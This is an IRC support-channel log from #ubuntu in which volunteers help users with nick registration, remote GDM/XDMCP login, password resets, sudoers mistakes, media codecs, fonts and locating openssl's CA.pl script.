chrismyapokryphos: this channel or the freenode wherei came in?01:53
chrismycrube: are you going or i am annoying?:(01:54
apokryphoschrismy: not the channel and not the Freenode, but in your chat with ubotu (the bot) :)01:54
eyequeuechrismy:  it's ubotu not ubuntu01:54
apokryphosyou should get this response...01:54
apokryphos!ubuntu01:54
uboturumour has it, ubuntu is an easy-to-use GNU/Linux desktop distro based on Debian.  http://ubuntu.com http://ubuntuforums.org http://wiki.ubuntu.com. It means 'Humanity to others'. see !awards01:54
Chadza!awards01:54
uboturumour has it, awards is http://www.ubuntulinux.org/ubunturocks01:54
chrismy!ubuntu01:54
apokryphoschrismy: though you can search factoids here: http://ubuntu.cc.com.au/01:54
|Imp|question, how to i login to gdm remotely?01:54
chrismylol01:54
eyequeueubotu:  tell chrimsy about help01:54
chrismyi think i need to register01:55
apokryphosas I said, yes :)01:55
chrismyeyequeue: nothing here01:55
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chrismyapokryphos: so how do i register myself?01:55
eyequeue<ubotu> told chrimsy about CMD 'help'01:55
chrismyeyequeue: erm..i have no popup01:55
eyequeuechrismy:  /msg NickServ help register01:56
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apokryphoschrismy: /msg nickserv {somepassword} {emailaddress}01:56
eyequeuechrismy:  popup?01:56
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|Imp|how do i do remote GDM login?01:56
apokryphoswhoop, forgot the register01:56
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apokryphoschrismy: /msg nickserv register {somepassword} {emailaddress}01:56
chrismyerm what now?01:57
chrismyami registered?01:57
chrismy!help01:57
eyequeuechrismy:  read the email01:57
chrismy!wiki01:57
chrismyi have email? ok wait01:57
|Imp|will somebody please help me?01:57
apokryphos!helpme01:58
ubotuIf you don't actually ask a question, we can not actually help you.01:58
lunitikchrismy, you don't need to enter an e-mail address... nickserv doesn't really care...01:58
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NoUse|Imp| you have to enable it while your at the machine01:58
lunitikchrismy, just type '/msg nickserv identify somepassword01:58
chrismylunitik: lol i am dumb you must know :P01:58
|Imp|NoUse, i did01:58
|Imp|what do i use as a client?01:58
NoUse|Imp| I don't know01:58
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apokryphoslunitik: no, you have to verify by email01:58
darkheart|Imp| vnc client01:59
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chrismy!register01:59
ubotuchrismy: Bugger all, i dunno01:59
chrismy;p;01:59
darkheart|Imp| But if you want to connect to the active session, you have to have set it so that you can connect to it and to allow remote users. Otherwise you  have to use a real vnc session.01:59
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|Imp|darkheart, what?02:00
Ng|Imp|: do you mean full remote X as in XDCMP? If so, gdm can browse xdcmp or you can use an X server like Exceed on windows02:00
ArsonideAlright, in Windows now...doing passwd (myname) brought up the UNIX password reset, I made sure capslock was off, looked at every single letter before I pushed it, and confirmed again looking at every letter.02:00
|Imp|yes02:00
|Imp|XDCMP02:00
|Imp|i wanna use that02:00
|Imp|how?02:00
chrismylunitik: so how will i know if i am registered? i have enter /msg nickserv identify <password>02:00
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ArsonideTried to log in and tried the password and it didn't work, turned caps lock on just in case, and it still didn't work.02:00
Ng|Imp|: what OS is the client computer?02:00
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|Imp|ubuntu02:00
ArsonideNow ubuntu won't let me on at all.02:01
apokryphoschrismy: did you check your mail and do what it says there?02:01
chrismyapokryphos: i am tryin. hotmail sucks!02:01
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chrismyyeah you tell me...02:02
Ng|Imp|: in gdmsetup's Security tab there's an option to allow running the XDMCP chooser, tick that on the client machine02:02
chrismyapokryphos: so what emial account you use?02:02
chrismyemail02:02
Ng|Imp|: that should let the gdm the client machine loads be used to connect to the server's xdmcp02:02
apokryphosGMail =)02:02
apokryphosand various others that forward to that02:02
chrismyapokryphos: gee i must need invitation02:02
apokryphoschrismy: no, anyone can join02:03
ArsonideSo uh, anybody want to tell me what my password really is?02:03
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Ng|Imp|: and obviously the gdmsetup on the server needs to be set to run xdmcp and allow remote logins :)02:03
ArsonideCause it's not the password I'm telling it to be.02:03
chrismyapokryphos: huh? i thought it is fussy02:03
apokryphosArsonide: you set it =)02:03
|Imp|ng, it was02:03
apokryphoschrismy: it used to be02:03
QMarioHow do I run a Unix binary.02:03
chrismyapokryphos: oki check it out now02:03
ArsonideNo, Ubuntu set it, it doesn't think it's what I typed in and I'm definately getting it right, I looked at every single key as I pressed it this time.02:03
apokryphoschrismy: https://www.google.com/accounts/NewAccount02:03
NgQMario: you can only run Linux binaries02:04
ArsonideI'm in windows now cause I can't log in02:04
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chrismyapokryphos: must i use my current email address to log in? my existing email addy is way too long@02:04
chrismy:P02:04
Ng|Imp|: actually you might well need to tell both gdmsetup's to enable tcp too02:04
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apokryphoschrismy: to log in to where?02:04
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chrismyI HEARD WINDOWS! :O02:04
bmecoli-anyone here know how to run dosemu02:04
|Imp|NG02:05
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|Imp|i did02:05
apokryphoschrismy: to register your nick you will have to go into the address you specified, yes.02:05
|Imp|but i can't get the client to connect02:05
NgArsonide: did you manage to reset it?02:05
bmecoli-is says it will but it only takes my back to "root@path"02:05
|Imp|i can't even get the client to give me the option to connect02:05
bmecoli-I don't understand02:05
chrismyapokryphos: the page asking for my current email address and tht will be my username to signin02:05
bmecoli-I can't find the process either02:05
ArsonideNo, I can't log in now, I made sure caps lock was off, and when I put the password in I hunt-and peck typed it looking at the keyboard, did that twice.02:05
QMarioNg, sorry. I meant a Linux binary.02:05
ArsonideThen I tried logging in with caps on and off, and neither worked.02:06
QMarioI created one from compiling C++ source code.02:06
QMarioHow do I run it?02:06
apokryphoschrismy: totally confused. What are you talking about?02:06
bmecoli-there is this Creating symbolic link for bootdirectory as /home/bmecoli/.dosemu/drives/c02:06
bmecoli-and I don't get it02:06
NoUseQMario ./file02:06
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Ng|Imp|: ah, are you using the graphical greeter?02:06
ArsonideIs there some sort of password format that I'm not following?02:06
bmecoli-because nothing else happens02:06
chrismyYour current email address :02:07
chrismye.g. myname@example.com. This will be your username and sign-in.02:07
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bmecoli-it just takes me back to bash02:07
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apokryphoschrismy: oh, whoop, must have given the wrong link there.02:07
chrismyapokryphos: lol02:07
ArsonideNg: me?02:07
ArsonideYeah.02:07
chrismyapokryphos: i am innocent...02:08
chrismy:P02:08
apokryphoschrismy: hm, they must have changed the system. I can give you an invite though. Just /msg  me your email address02:08
chrismyapokryphos:  you mean PM you?02:08
NgArsonide: yeah, didn't I just tell you about rebooting to recovery mode to reset your password?02:08
apokryphosyes02:08
chrismyapokryphos: as i am aware i am not allowed to PM02:08
apokryphoschrismy: you are, but not to Ubuntu02:09
apokryphos*ubotu02:09
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ArsonideNg: I'm telling you now, that's what I did, it said "New UNIX Password" and I did it twice, making sure I got it right.02:09
chrismyapokryphos: which means?02:09
bmecoli-hmm, is anyone going to help me... I'm pretty stumped02:09
chrismyapokryphos: ok i try02:09
apokryphoschrismy: type.... /msg apokryphos youremail@somedomain.com02:09
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NgArsonide: if it accepted it then that is your password. Are you sure you have the right username?02:09
chrismyok02:09
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ArsonideThat password is assigned to the user in "passwd user" right?02:10
Ngyes02:10
ArsonideThen yeah, I'm getting the username right.02:10
Ngwith that exact capitalisation02:10
lunitikchrismy, ahh... sorry... was gone for a sec... /msg nickserv identify password   (before should have been register not identify)02:10
|Imp|Ng, yes, i am using the graphical greeter02:10
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Ng|Imp|: bingo :)02:10
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Ng|Imp|: in gdmsetup switch to the standard greeter. the xdmcp chooser is in the actions menu :)02:11
ArsonideNg: I'll try it again but I'm pretty sure something's messed up. I may have capitalized the first letter of my name, but I doubt it.02:11
Arsonidebrb.02:11
NgArsonide: wait02:11
Arsonide?02:11
QMarioHow do I set myself to +CE?02:11
NgArsonide: when you boot back into ubuntu, if the graphical login doesn't work, hit Ctrl-Alt-F1 and try a console login too02:11
Arsonideok02:12
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Arsonidebrb02:12
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[t0rc] can you install rpms on ubuntu?02:13
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lunitik[t0rc] , sure... alien some.rpm02:13
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Ng[t0rc] : maybe, if you really really have to, but it's really not a good plan02:13
lunitik[t0rc] , then install the resulting deb as normal02:13
lunitikNg, shush... Ubuntu is LSB complient... that statement makes it sound like its not02:14
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Nglunitik: that assumes all RPMs are LSB compliant ;)02:14
lunitik[t0rc] , if it complains... 'alien --to-deb some.rpm'02:14
apokryphoslunitik: it's unfortunately a simple fact that bigger RPMs it won't work for. It is a debian-based system02:14
lunitikNg, rpm = an lsb standard.02:14
oroCan someone help me get my sound working?02:14
Nglunitik: I mean the contents02:14
cyphaseis breezy going to have better server management?02:15
[t0rc] k thnx both02:15
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|Imp|how do i add a user to the sudoers file?02:15
Ng|Imp|: you add the user to the admin group02:15
ivanodeni have mplayer and sound problem02:15
|Imp|ng, how02:15
Ng"sudo adduser username admin"02:15
ivanodenit cannot use alsa sound system02:15
Ngor with the graphical users and groups thingie02:15
apokryphos|Imp|: sudo visudo02:15
lunitikapokryphos, it'll work... just likely to take a LOT longer...02:15
apokryphos|Imp|: and then add {username} ALL=(ALL) ALL02:16
lunitikapokryphos, hard to believe he can't find a .deb though...02:16
ivanodenanyone had the same prob before?02:16
apokryphoslunitik: the alien system isn't perfect. Check the site.02:16
apokryphoslunitik: yes02:16
Ngapokryphos: there's no need to visudo, that's what the admin group does :)02:16
apokryphoseither way02:16
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codecainewhat's going on with these spammers on irc? ridiculous!02:17
Ars0nideOk awesome, it's taken 8 hours to raise my refresh rate from 60 to 85, and change my password from capitalize to uncapitalized.02:17
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[t0rc] anyone here compiled 64 bit blender on ubuntu?02:17
Ngapokryphos: generally it's best to do things the way the distro's own tools would have done, so there are no surprises later, imho02:17
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bmecoli-;/02:17
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ivanodenor someone can use mplayer02:17
ivanodenyet?02:17
apokryphosNg: that wouldn't produce any surprises, really. But, I don't know how to do it the other way; I don't use gnome.02:17
NgArs0nide: working now? :)02:17
[t0rc] codecaine: yes they are. quite annoying.02:17
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lunitikivanoden, totem-xine + w32codecs > mplayer02:17
Ars0nideYeah...now to try and access my windows drive.02:17
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|Imp|oh shit02:18
|Imp|i fucked up the sudoers file02:18
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ivanodenis totem player good for music player02:18
|Imp|how can i fix this02:18
lunitikivanoden, Rhythmbox is better for music...02:18
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Ngapokryphos: ^^ - another good reason to never mention visudo ;)02:18
Madpilotivanoden: yes - but for playing albums, try Rythymbox or Muibe02:18
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GerriallIs anybody else getting webcam spam messages?02:18
Madpilot*Muine02:18
zuuluu1212ivanoden: there are better...totem is boring :)02:18
MadpilotGerriall: yes02:18
|Imp|helphelphelp02:18
|Imp|;_;02:18
apokryphos|Imp|: how and why; you shouldn't play around with it.02:18
GerriallAny way to dump them?02:18
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Ng|Imp|: |Imp| there are only three lines in the default one:02:18
ivanodenlunitik, ok, but i think the problem is sound system02:18
NgDefaults        !lecture,tty_tickets,!fqdn02:18
Ngroot    ALL=(ALL) ALL02:18
Ng%admin  ALL=(ALL) ALL02:19
|Imp|apokryphos, I DID WHAT YOU TOLD ME TOO!!02:19
ivanodenit cannot use alsa02:19
|Imp|i can't edit it02:19
|Imp|i can't use sudo02:19
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Madpilotanyone know why "/umode <nick> +CE" isn't working for me? I get "UMODE unknown command"...02:19
lunitikivanoden, activate universe... and install gstreamer0.8-mad02:19
Ng|Imp|: write those three lines down, reboot into recovery mode and do it there02:19
apokryphos|Imp|: then you wouldn't have mucked up a single thing. No need to shout.02:19
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ivanodengstreamer-properties??02:19
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chrismyapokryphos: ok done what should i do now?02:19
ivanodenlunitik, i have it02:19
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chrismyapokryphos: re-regiester?02:20
chrismy*register02:20
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Ars0nideNg, where do I save this script?02:20
zuuluu1212im trying to get http://archive.ubuntulinux.org/ubuntu/pool/universe/r/request-tracker3.4/ installed but apt-get/cache only sees request-tracker3.2 .. i have straight server install...do i need to change sources.list?02:20
apokryphoschrismy: perhaps, but I don't know how to... it's waiting for you to verify from the hotmail address02:20
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NgArs0nide: which script?02:20
Ars0nideWindowsdrives02:20
chrismyapokryphos: means i can't register again?02:20
apokryphosperhaps you can, but I don't know how to.02:21
chrismyapokryphos: hotmail is still not opening!02:21
apokryphos|Imp|: did you save the file properly?02:21
|Imp|apokryphos, yea02:21
apokryphoschrismy: what browser?02:21
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apokryphos|Imp|: and your current user can't sudo? Hm.02:21
NgArs0nide: is that the winmac detection script? anywhere really, your home directory would be a good place02:21
|Imp|nobody can sudo02:21
chrismyapokryphos: you guess.it is IE02:21
|Imp|im rebooting the machien to fix it02:21
apokryphos|Imp|: it won't fix anything02:21
Ars0nideoh yeah, I forgot if it's like a bat I have to navigate to the folder for it to work.02:22
|Imp|apokryphos, yes it will02:22
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|Imp|recovery mode02:22
Ars0nideIs there a folder (ala windows) that I can put things where it will become a default command?02:22
apokryphos|Imp|: do this  su - {otheruser} (the one you gave sudoer permissions02:22
apokryphos|Imp|: there's an easier way02:22
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NgArs0nide: /usr/local/bin02:22
Octanewhich mode am I supposed to set for stopping all the spam?02:22
|Imp|nobody can use sudo02:22
|Imp|i already tried02:22
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lunitikArs0nide, put them in /home/you/bin02:22
apokryphos|Imp|: you said you edited the file appropriately02:22
rob_p|Imp|:  visudo shouldn't have let you save the file if it contained syntax errors.  Did you override it or something when it warned you of any errors?02:22
lunitikArs0nide, or what Ng said... although yeah... I wouldn't do that...02:23
|Imp|it didn't warn me02:23
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ssdd65how do i download the wma codec for xmms?02:23
lunitikArs0nide, same result really... but yeah... I dislike /usr/local  :/02:23
apokryphos|Imp|: then you evidently didn't do what I said, if you can't sudo with the other user02:23
chrismysjmurdoch: are you from blender too?02:23
cafuegodid you run 'visudo' or 'vi /etc/sudoers' ?02:23
lunitikssdd65, you need w32codec from hoary extras02:23
[t0rc] these spammers are getting real annoying02:23
|Imp|i added, below the existing user02:23
ivanodenlunitik, i try the rhythmbox but the problem is not the software?02:23
zuuluu1212this is just the universe repository correct? http://archive.ubuntulinux.org/ubuntu/pool/universe/r/request-tracker3.4/02:23
rob_p|Imp|:  hmm... odd.  Every time I've had errors in it, visudo wouldn't let me save it without giving me a second chance to fix it.02:24
ssdd65is hoary extras in any repo?02:24
|Imp|loki    ALL=(ALL) Al...oh02:24
Nglunitik: what's wrong with /usr/local? ;)02:24
apokryphos|Imp|: ?02:24
ivanodenlunitik, it notice that "Could not open resource for writing "02:24
|Imp|i let go of shift early typing the last all02:24
apokryphos:/02:24
chrismyapokryphos: can i use gmail to chat like yahoo?02:24
apokryphosthe one chance the root account would be useful02:25
apokryphoschrismy: I think so, yes. YOu can use it for msn etc02:25
lunitikNg, I just don't really see the point... if its for a user, put it in the user dir... if its for everyone, put it in /usr/bin ...02:25
MadpilotAnyone know why I can't set /umode properly to block this damned spam?02:25
apokryphos|Imp|: though it shouldn't have mucked up your current user permissions unless you changed anything...02:25
ivanodenlunitik, i try the rhythmbox but the problem is not the software?02:25
chrismyapokryphos: wow the it loads like no body's business! zoom!02:25
ivanodenlunitik, it notice that "Could not open resource for writing "02:25
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lunitikivanoden, did you install gstreamer0.8-mad?02:25
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Nglunitik: /usr/bin is for packaged binaries/scripts, /usr/local/bin is for sysadmin installed (ie unpackaged) binaries/scripts02:25
Madpilotivanoden: do you have all codecs installed?02:25
Madpilot!restricted02:25
uboturumour has it, restricted is http://www.ubuntulinux.org/wiki/RestrictedFormats02:25
ivanodeni have install lunitik02:26
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ivanodenand all the codecs02:26
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ivanodenbut where to put the codec in02:26
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lunitikivanoden, it should work then... no idea why it doesn't... sorry... breezy?02:26
ivanodenMadpilot02:26
David715anybody here familiar with openssl on ubuntu?02:26
lunitikivanoden, file a bug?02:26
Emoryhello, I'm trying to install ubuntu, every time I insert the CD..I get the splash screen, I hit enter, and then ubuntu boots again...whats wrong02:26
naliothDavid715: i'm sorta familiar02:26
Madpilotivanoden: just isntall the codecs via Synaptic, they should be found by Totem automatically02:26
naliothEmory: check your cd integrity (and .iso image integrity, if applicable)02:27
lunitikMadpilot, no...02:27
David715nalio, does the synaptic add the ca.pl?02:27
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lunitikMadpilot, they need to be added... the codecs are non-free... Ubuntu will never ship them02:27
David715I cannot seem to find it and I am following some instructions that use that batch02:27
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Emorywhat do you integrity..i just downloaded the iso and burned with nero02:27
lunitikMadpilot, you likely have hoary extras enabled... if so... tell him how to add them to his Ubuntu...02:27
NoUseEmory did you download it with bittorrent?02:28
Emoryyes02:28
Emorybitornado02:28
NoUseEmory thats fine, then the ISO should be fine02:28
NoUseEmory make sure the CD isn't damaged02:28
Ars0nideAlright, no plugins to play MP3s or movies of any kind.02:28
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Ars0nideThe disk did mount though, where do I find these plugins?02:28
EmoryI tried to burn it twice02:28
Madpilotlunitik: gstreamer-etc are all Free - it's just the w32codecs that are in -extras02:28
naliothDavid715: i'm not familiar with scripts associated with openssl.  i recommend updateing your locatedb and searching for it with "locate"02:28
NoUseEmory and then check some of the boot options for the ubuntu CD, there might be a failsafe option or something02:28
Madpilot!tell ivanoden about mp302:29
Madpilotivanoden: that page that ubotu just sent you has all the codec info, including how to add hoary-extras - see the very bottom of that page02:29
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David715nalioth, what is locatedb?02:30
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Ars0nideHey I finally died02:30
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naliothDavid715: you linux box has a database of every file on the system02:31
apokryphosDavid715: the cache that updatedb creates so that you can use locate command02:31
MadpilotArsonide: if you're registered, you can always ghost an old nick02:31
David715ok, how would I go about verifying/updating it?02:31
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naliothDavid715: so i suggest opening a terminal and typing "sudo updatedb"  . this will update your database02:31
apokryphosDavid715: sudo updatedb02:31
ivanodenMadpilot, thanks02:31
Arsonide!tell arsonide about mp302:32
David715ah, thanks, didnt know anything about that02:32
naliothDavid715: then you can (from a terminal) run "locate <filename_you_are_interested_in>02:32
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David715does it simply go and reindex the contents of the hd?02:32
naliothDavid715: updatedb runs every night around 2am (if you leave your puter running)02:32
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David715ah, ok.  What if it still does not find it after the dbupdate?02:32
chrismygot to go: will miss you all.....i shall be back! hahaha02:33
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David715I did the synaptic; when that did not work, I d/led the source and compiled it myself02:33
naliothDavid715: ask Uncle Google02:33
David715lol02:33
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apokryphosDavid715: updatedb. If it doesn't find it then it doesn't exist on your hd02:33
naliothDavid715: what did you ask synaptic for again?02:33
David715did, they gave me placed to d/l it (pull it from the tar) but it just gives me an error02:33
David715openssl02:33
|Imp|next thing im wondering02:33
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naliothDavid715: the server pkg is called "openssh-server"02:34
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David715?02:34
NoUse!openssl02:34
ubotuNoUse: I haven't a clue02:34
|Imp|how hard would it be to set up an ubuntu install that only installed enough to be a client for remote login?02:34
NoUse!info openssl02:34
ubotuopenssl: (Secure Socket Layer (SSL) binary and related cryptographic tools), section utils, is optional. Version: 0.9.7e-3 (hoary), Packaged size: 879 kB, Installed size: 2132 kB02:34
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nalioth!info openssl02:34
NoUseDavid715 the package is there02:34
jasoncoheni just connected a MS wireless mouse and i'm having some strange issues with the scroll wheel. When i scroll up or down it seems as if it tries to scroll in both directions at once. It will scroll up a bit, then scroll down and then up quickly and then continue going up for example02:34
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nalioth!find openssl02:34
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jasoncohenthis doesnt' happen with my logitech optical mouse. any ideas?02:34
reikianyone using an Epson R200 or R300 with Turboprint drivers got a template to print on CD media? :)02:34
naliothDavid715: type in here "!info openssl"02:34
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naliothDavid715: when you do that, ubotu will send you info02:35
David715Im not on the linux box at the moment02:35
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NoUseDavid715 but you can apt-get it (or synaptic)02:35
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David715yes, I did for openssl02:35
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NoUseDavid715 what are you trying to compile?02:36
David715and it installed and worked for the most part02:36
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David715exvept that ca.pl was not there02:36
cafuegoCA.pl02:36
David715so I d/led and compiled myself02:36
cafuegonote the caps02:36
David715yes02:36
David715yes, I ran it with caps02:36
cafuegoMine is in /usr/lib/ssl/misc/CA.pl02:36
David715if I run w/o sudo, I get Permission denied02:36
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David715if I use sudo, I get command not found02:37
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Madpilotdamn - I still can't set "/umode +CE" to block spam - what's the trick now?02:37
David715mine is in /bin/ but if I do a locate, it does not find it02:37
cafuegoYou compiled your own openssl and dumpedmit in the filesystem at large?02:37
reikiwhen does one use gksudo instead of sudo?02:37
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NoUseDavid715 openssl provides CA.pl02:37
NoUseDavid715 http://packages.ubuntu.com/cgi-bin/search_contents.pl?word=CA.pl&searchmode=searchfiles&case=insensitive&version=hoary&arch=i38602:37
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apokryphosreiki: whenever opening a GUI app as root, ideally02:37
jasoncohenreiki, if you want it to ask for your password in a graphical screen- for example for a desktop icon or menu entry02:38
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reikiapokryphos: ok... makes sense. thanks02:38
Madpilotreiki: "man gksudo" at a command prompt02:38
naliothMadpilot: guess they're getting smarter. have you /whois'd one of the nasty pR0nbots?02:38
Madpilotgot to go, everyone, be back later02:38
burneranyone know if the latest Breezy rhythmbox is supposed to be working again?02:38
David715ok, CA.pl is there, but it will not let me run it02:38
Madpilotnalioth: not yet, my ride's here, so I've got to go. Later...02:38
naliothcafuego: c'mon man, we're here to educate02:38
David715did realize locate was caps sens also02:39
gdarelanyoneknow of a god way to convertVOB files to something like Mov or AVI's?02:39
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cafuegoDavid715: You have another problem to contend with now, which is various OTHER openssl libs and binaries spread around your system.02:39
NoUseDavid715 change the permissions then02:39
Concord_DawnHi everyone02:39
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Knorriehi02:39
apokryphosburner: just checked mine and it crashes on startup. I take that as a no ;-)02:39
ArsonideI ran that script at the bottom of http://wiki.ubuntu.com/RestrictedFormats and got an error.02:39
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ikkyshi folks02:39
David715ok, that is fixed with chmod, right?02:39
cafuegoDavid715: Do you remember which ones were copied bu 'make install' and can you remove them my hand?02:39
ikkyscan i copy windows font to ubuntu?02:39
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Concord_Dawnanyone know a good backup utility? I'd like to save everything in Ubuntu, including settings02:39
durtburner: mine didnt crash02:39
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apokryphosikkys: yes, or you can just install the MS font package02:40
reiki!msttcorefonts02:40
ubotureiki: parse error: dunno what the heck you're talking about02:40
burnerwell mine crashes too02:40
reikiack02:40
apokryphos!info msttcorefonts02:40
burnerdurt: do anything special?02:40
ubotumsttcorefonts: (Installer for Microsoft TrueType core fonts), section multiverse/x11, is optional. Version: 1.2ubuntu1 (hoary), Packaged size: 21 kB, Installed size: 160 kB02:40
skalpelcan someone tell me what to do if my mouse behaves eratically?02:40
reikidoh!02:40
reikiI was close02:40
David715I can remove it by hand with a simple reinstall of the OS (Im using the box for testing)02:40
ikkysapokryphos, so hows that? emerge msttf?02:40
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cafuegoDavid715: Good, because you don't want those files hanging around02:40
David715how would I know where it installed? I thought it used default directories02:40
ikkysapt-get msttf?02:41
durtburner: nope, i did upgrade my packages today though02:41
TrippOk, I have a laptop set up with Ubuntu only no Windows, and I have no internet for it yet.  I'm trying to install a program called Penggy, without the use of internet, does anyone have any ideas?02:41
apokryphosikkys: no, this isn't gentoo :)02:41
burnerhrm...02:41
naliothConcord_Dawn: g4u02:41
burnerme too, oh well, thanks guys02:41
apokryphosikkys: sudo aptitude install msttcorefonts02:41
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NoUseDavid715 most of the time you can do 'make uninstall'02:41
naliothDavid715: the *nix way is install once, never "install" again02:41
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naliothDavid715: this is not windows where you reinstall every time a bird flies by the window02:41
gdarelanyone know of a good way to convertVOB files to something like Mov or AVI's?02:41
David715lol02:42
David715thanks nali02:42
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David715yeah, just trying to get used to linux :)02:42
ikkysapokryphos, so, whats the diffbetwenn aptitude and apt-get?02:42
cafuegoDavid715: Next time you run ./configure on anything, use --prefix=/usr/local02:42
ZodiacOh than god02:42
ZodiacIt is back up02:42
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David715ok02:42
naliothgdarel: dvdrip02:42
David715what does that do02:42
Zodiacthat was a rough couple of days :)02:42
apokryphosikkys: a few fine differences; aptitude installs recommended packages by default etc etc02:42
cafuegoDavid715: That will keep anything installed separate from the packaged files.02:42
ZodiacGuys, is Gdesklets worth it?02:42
ikkysso from now on use aptitude rather apt-get?02:43
apokryphosikkys: see google for more02:43
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cafuegoDavid715: it won't by default end up in your path; which can cause unexpected results further down the track.02:43
ZodiacIt looks neat in screenshots but I downloaded it and it seemed a damn nightmare02:43
apokryphosikkys: not necessarily, no.02:43
Concord_Dawncan someone tell me a good backup utility for Ubuntu? I'd like to keep everything.02:43
naliothDavid715: and the next time you compile something, use "checkinstall" (available via apt) instead of "make install" (checkinstall makes debs for easy removal of your stuff)02:43
cafuegoDavid715: Like "But I installed the openssl 2 package, why is it still using version 1.2 from /bin/ssl' ?02:43
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David715ah02:43
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naliothikkys: aptitude and synaptic are frontends to apt-get02:43
apokryphosikkys: you get an interface with aptitude, too, if you can handle its ugliness ;-)02:44
David715ok, you guys are awesome! :) trying so hard to learn this stuff02:44
Zodiacahhh there is still spam?02:44
ZodiacDamn02:44
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lunitikZodiac, /mode Zodiac +E will get rid of it  :)02:45
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lunitikSomeone should add that to the topic...02:45
Zodiacyea I checked the top and read it02:45
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ikkysoh02:45
ikkysok02:45
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skpltorbnaod?02:45
ZodiacWhat exactly happened?02:45
naliothDavid715: you have gained software freedom. and a whole nother mindset on how to do things02:45
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David715yup, trying...so hate windows02:45
ZodiacIs there a news brief on it?02:45
David715and enlightenment is starting to look really awesome02:46
ZodiacI didnt think so02:46
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naliothlunitik: recommend +CE, if you please (stops unregged users from sending you PMs or CTCPs)02:46
ZodiacI thought it looks sloppy... but the screenshots werent that good02:46
reikiis smeg in backports?02:46
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nalioth!smeg02:46
ubotufrom memory, smeg is a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.02:46
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ikkysapokryphos: justwondering, i have 2 pc, side by side, 1 running windows, 1 on ubuntu, im opening 2 sites from these pcs using firefox, the problem is, fonts on the site on the windows pc looks just fine, slim and looks ok i guess, but font on the site running ubuntu looks think and big. how do i fix that if its possible?02:47
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Zodiacyou have to download the MS core fonts02:47
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naliothikkys: steal the windows fonts, put them in your homedirectory in a folder called .fonts02:47
Zodiacthen just change it in your settings02:47
apokryphosikkys: you could adjust the font size from firefox there; though note however that the ubuntu-firefox is ocmpiled differently to the windows one02:47
apokryphosikkys: plus you may need the MS fonts package02:47
Zodiac There should be a package02:47
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David715thanks for all your help guys...gonna try to go fix my mistakes now :)02:48
lunitiknalioth, any reason he shouldn't just sudo apt-get install msttcorefonts ?02:48
apokryphoslunitik: no :P02:48
chris__hi, anyone remember the name of the prog. that allows you to change cursor themes?02:48
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naliothlunitik: no reason at all, but i used to have scads of fonts on my windows box (way back when i used windows)02:49
ikkysbut i have installed the ms font package. they still look the same. input box'es on ubuntu looks bigger, pictures or jpegs looks like its faded...i just dont get it, everything is like blurred, they arent sharp...02:49
oroI'm having problems with my sound.. can anyone help please?02:49
reikismeg on backports is "broken package".02:49
reiki:)02:49
lunitiknalioth, putting those into /usr/share/fonts is much more useful  ;)02:49
NoUse!tell oro about sound02:49
apokryphosikkys: you'll need to restart FF of course, if you hvaen't done so.02:49
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jasoncohenwhat's with all these porn bots tonight?02:50
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cafuegolunitik: Depends, popping 'em in ~/.fonts is quicker (or symlinking ~/.fonts)02:50
ikkysim wondering how it be like if i use css or edit my website, would it look different on windows02:50
oroi'll check that out.. thanks02:50
chris__hi, anyone remember the name of the prog. that allows you to change cursor themes?02:50
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lunitikcafuego, true... it would work... just only for that user... maybe I'm overlooking that this is an Ubuntu system  ;)02:50
apokryphosikkys: fc-cache you need to run when you place them in /usr/share/fonts etc.. but not sure if that's the case with installing the package. Can't hurt to run it.02:50
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naliothlunitik: there are several places fonts can be placed. i recommend the simplest02:51
apokryphosnalioth: that's useless if they want them system-wide02:51
apokryphosno point having them all over the place if that's the case.02:51
chris__anyone?02:51
lunitiknalioth, you're not wrong... just like my privious statements about /usr/local... I simply have a different view...02:51
cafuegoapokryphos: Most ubuntu boxen are single-user systems, though.02:52
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naliothapokryphos: how many of these users in here now are running multiuser systems?02:52
apokryphosMost; but not all02:52
ianit seems that Tomboy has been broken in Hoary for months now.  anyone have it working?02:52
apokryphosputting them in /usr solves the problem for *all*02:52
naliothapokryphos: most users in #ubuntu are running multiuser boxes?02:52
lunitikcafuego, am I right in thinking that you lack a third leg?  :P02:52
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apokryphosnalioth: no, the opposite, as I said.02:52
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apokryphoswhoop, it came out wrong, I see. :)02:53
rob_pjasoncohen:  Yeah, I was getting a lot of those pornbot msgs too.  I set my umode to +E and I haven't gotten any since... (fingers crossed)02:53
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apokryphosmost are running single-user, sure. But not all.02:53
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naliothapokryphos: i'm sure the ones running multiuser, know where to put the fonts (and other things)02:53
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apokryphosnalioth: not a safe assumption.02:53
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apokryphosnalioth: when I first started out we had many users, as there's many people in our family. I had no clue where to put them for system-wide; I barely knew the bifurcation.02:53
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naliothapokryphos: i find it hard to believe that anyone who can set up a multiuser linux system wouldn't know how to maintain it (i dont think most of these users know you can log in with different users on the same hardware simultaneously)02:54
lunitikcafuego, haha... no really... I know either you or caphuso was female... I always get you both confused though  :(02:54
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apokryphosnalioth: you err in presupposing that "maintaining it" necessarily incldues "knowing where fonts go for system-wide things"02:55
jasoncohenrob_p, what is umode +E?02:55
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lunitikjasoncohen, no messages from non-registered users02:55
jasoncohenah02:55
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hector_acostahow do i close a window in irssi?02:55
ikkysok, i think the font problem isfixed. now i can seeverdana fonts on my website. ok thats cool...now, how do i make everything not anti-alias on linux? i can say just about everything on linux is anti-aliased. the pictures, fonts, everything, they look kinda blur. compare the white #FFFFFF color with your windows #FFFFFF, all i can say, the white is a bit off white as its blurred. has anyone...02:55
ikkys...came across this??? or i am the only person who got different settings?02:55
apokryphosnalioth: though of course I disagree with the latter point. You have ot login to get into gnome/kde etc. Seems fairly obvious that other usernames are possible there.02:55
robotgeekhector_acosta: /wc02:55
rob_pjasoncohen:  From the freenode page... " This umode prevents private messages from people who have not identified themselves to NickServ. They'll be told that their messages are bouncing."02:56
chris__hi, anyone remember the name of the prog. that allows you to change cursor themes? xcursor ,xmouse something like that.02:56
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kcidxAnyone using breezy02:56
kcidx?02:56
hector_acostarobotgeek: thanks02:56
robotgeekkcidx: yeah02:56
jasoncohenchris__, gcursor?02:56
lunitikjasoncohen, +C = no ctcp's from unregistered users....02:56
chris__YES thats it thank you02:56
kcidxrobot did you just upgrade and have it break 3d rendering02:56
kcidx?02:56
jasoncohenchris__, that's what i used to change my cursor theme02:56
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chris__thanks jason02:57
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robotgeekkcidx: did u mean me? if so, please tab-complete my nick. otherwise, it doesn't highlight02:57
jasoncohenchris__, np02:57
Daywalkeris there really no way to get basic opengl support for old ati cards (ati rage)02:57
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naliothrob_p: jasoncohen: use +CE (stops PMs and CTCPs from unregged users)02:57
